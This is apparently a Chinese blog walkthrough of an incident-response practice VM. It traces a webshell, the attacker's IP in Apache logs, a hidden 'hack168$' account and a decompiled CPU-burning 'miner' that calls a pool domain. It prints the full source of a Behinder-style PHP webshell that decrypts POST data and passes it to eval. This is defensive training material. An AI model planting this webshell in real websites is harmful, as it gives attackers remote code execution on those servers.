目 录CONTENT

文章目录

知攻善防靶场 | 应急响应练习靶机-web1

0x5T4Rer
2025-06-26 / 0 评论 / 0 点赞 / 4 阅读 / 0 字 / 正在检测是否收录...
温馨提示:
本文内容仅供参考,旨在探讨网络空间安全相关话题,仅供个人学习交流使用,请严格遵守法律法规。文中提及的技术建议、措施及工具仅供参考,并无法保证其绝对准确性或适用性。读者在使用过程中应结合自身实际情况进行谨慎判断,并自行承担相关风险。 文中所附的第三方链接仅供读者参考,并不代表对其内容的认可或推荐,且不对链接内容承担任何责任。部分文章内容基于公开信息整理而成,若存在侵权问题,请及时联系删除。作者本人不承担相关法律责任。如需转载本文,请附上原文链接。

0x01 靶机信息

下载方式

阿里云盘:https://www.alipan.com/s/ne3YeyhXGqa

提取码:a7i8

文件大小:4.73GB

靶机启动

解压后使用Vmware启动即可,如启动错误,请升级至Vmware17.5以上

前景背景

小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,这是他的服务器系统,请你找出以下内容,并作为通关条件:

1.攻击者的shell密码
2.攻击者的IP地址
3.攻击者的隐藏账户名称
4.攻击者挖矿程序的矿池域名

靶机账户

用户 --> administrator
密码 --> Zgsf@admin.com

0x02 打靶方式(思路)

  1. 组策略编辑器

  2. 注册表

  3. Web日志分析

  4. py程序反编译

  5. 系统日志分析

  6. 账户

0x03 打靶实录(流程)

信息收集

先简单查看一下系统信息

发现桌面有一个解题的脚本,查看一下需要做些什么

攻击者的shell密码

根据题目,我们有两点可以查看的位置

  1. phpstudy搭建网站

  2. IIS搭建网站

先从PHP开始获取信息,右键phpstudy-->打开文件所在位置

网站目录 --> C:\phpstudy_pro\WWW

最简单的方式莫过于利用D盾或者其他安全软件扫描一下web目录

这边使用D盾扫描

发现webshell文件,定位文件位置 --> C:\phpstudy_pro\WWW\content\plugins\tips\shell.php

还原打开

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");

		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

获得webshell密码 --> 冰蝎默认密码 --> rebeyond

攻击者的IP地址

如何获取攻击者IP地址?最好的办法当然是利用web日志进行分析,从而得出结论,同样是寻找日志保存界面.

先从最开始的Apache日志开始找起

日志路径保存于 --> C:\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1708905600

简单审阅一下日志,一开始是一堆目录扫描行为

我们找一下谁访问了shell.php,即为攻击者上传的webshell

提交192.168.126.1

其实在最近文件就能看到

攻击者的隐藏账户名称

由于攻击者创建账户时使用了$隐藏账户,故名思意,常规手段无法查看用户,我们需要使用以下方式获取账户

net user

利用计算机管理查看隐藏用户

win+r进入运行,输入compmgmt.msc,打开计算机管理

系统工具 --> 本地用户和组 --> 用户

尝试提交hack168$用户

利用注册表查看隐藏用户

win+r打开运行,输入regedit从而打开注册表编辑器

先进入HKEY_LOCAL_MACHINE\SAM\SAM,一开始为空白,需要右键进入权限,将administrator设置为完全控制和读取权限

重新打开注册表,即可查看内容(靶机没有...)

攻击者挖矿程序的矿池域名

由题干可得,攻击者植入了挖矿程序,那我们需要进入攻击者的视角

利用日志分析工具查看攻击者是否存在登录行为

因此可以判定黑客进行了登录操作,查看计算机中存在的用户 --> C:\Users

进入hack168$所在的桌面查看是否存在蛛丝马迹

C:\Users\hack168$\Desktop

有一个叫Kuang,明显为python利用pyinstaller打包得到的程序

利用pyinstxtractor反编译python程序

python pyinstxtractor.py Kuang.exe

生成文件夹中存在Kuang.pyc,利用uncompyle反编译为py文件

uncompyle6 Kuang.pyc > Kuang.py

反编译后py文件如下

# uncompyle6 version 3.9.2
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.10.11 (tags/v3.10.11:7d4cc5a, Apr  5 2023, 00:38:17) [MSC v.1929 64 bit (AMD64)]
# Embedded file name: Kuang.py
import multiprocessing, requests

def cpu_intensive_task():
    while True:
        try:
            requests.get("http://wakuang.zhigongshanfang.top", timeout=10)
        except:
            pass


if __name__ == "__main__":
    cpu_count = multiprocessing.cpu_count()
    processes = [multiprocessing.Process(target=cpu_intensive_task) for _ in range(cpu_count)]
    for process in processes:
        process.start()
    else:
        for process in processes:
            process.join()

# okay decompiling Kuang.pyc

代码中简单实现了挖矿程序逻辑,可以明显看到矿池为 --> http://wakuang.zhigongshanfang.top

输入答案为 --> wakuang.zhigongshanfang.top

0x05 打靶总结

总体而言是一个比较基础的靶机,可惜没找到注册表中存在的账户名称存放位置,不然更能巩固应急响应基础,若有操作失误处或者存在更优秀的方式欢迎大家交流斧正

0
  1. 支付宝打赏

    qrcode alipay
  2. 微信打赏

    qrcode weixin
  3. QQ打赏

    qrcode qq

评论区